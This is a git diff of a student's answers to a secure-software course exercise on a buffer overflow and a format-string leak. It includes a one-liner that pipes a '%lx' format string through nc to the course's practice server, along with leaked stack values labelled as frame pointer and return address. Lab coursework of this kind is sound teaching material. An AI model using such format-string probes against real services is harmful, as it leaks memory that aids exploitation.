poging
[sws1-1415.git] / ass5b / mart / sws1-assignment5b-s4109503-s4202015 / exercise2
index 95b7f60..9c98cf3 100644 (file)
@@ -1,12 +1,14 @@
-a.     The buffer is 104 characters long. When you input 105 a's the last a will
-be garbled.
+a)
+The buffer is probably 104 characters wide. All characters over 104 will not be
+echoed.
 
-b.     "%lx %lx %lx %lx %lx %lx %lx %lx %lx %lx %lx %lx %lx %lx %lx %lx %lx %lx %lx %lx %lx %lx %lx %lx %lx %lx"
-The memory outputted is this:  
-7ffff7ff805b
+b,c)
+printf "%20s\n" | sed 's/ /%lx /g' | nc hackme.cs.ru.nl 2266
+
+Memory:
+7ffff7ff8050
 7ffff7dd8de0
 fbad2088
-786c2520786c2520
 20786c2520786c25
 20786c2520786c25
 20786c2520786c25
@@ -19,15 +21,8 @@ fbad2088
 20786c2520786c25
 20786c2520786c25
 20786c2520786c25
-786c25
-1
+7fffffffeb00           saved frame pointer
+4004c1                 return address
+1                      return value
 7fffffffeb30
 7fffffffebc0
-4006a9
-0
-100400530
-
-c.     Frame pointer: 7fffffffeb30 or 7fffffffebc0
-       return address: 4006a9
-
-d.     17 words of 8 bytes therefore 136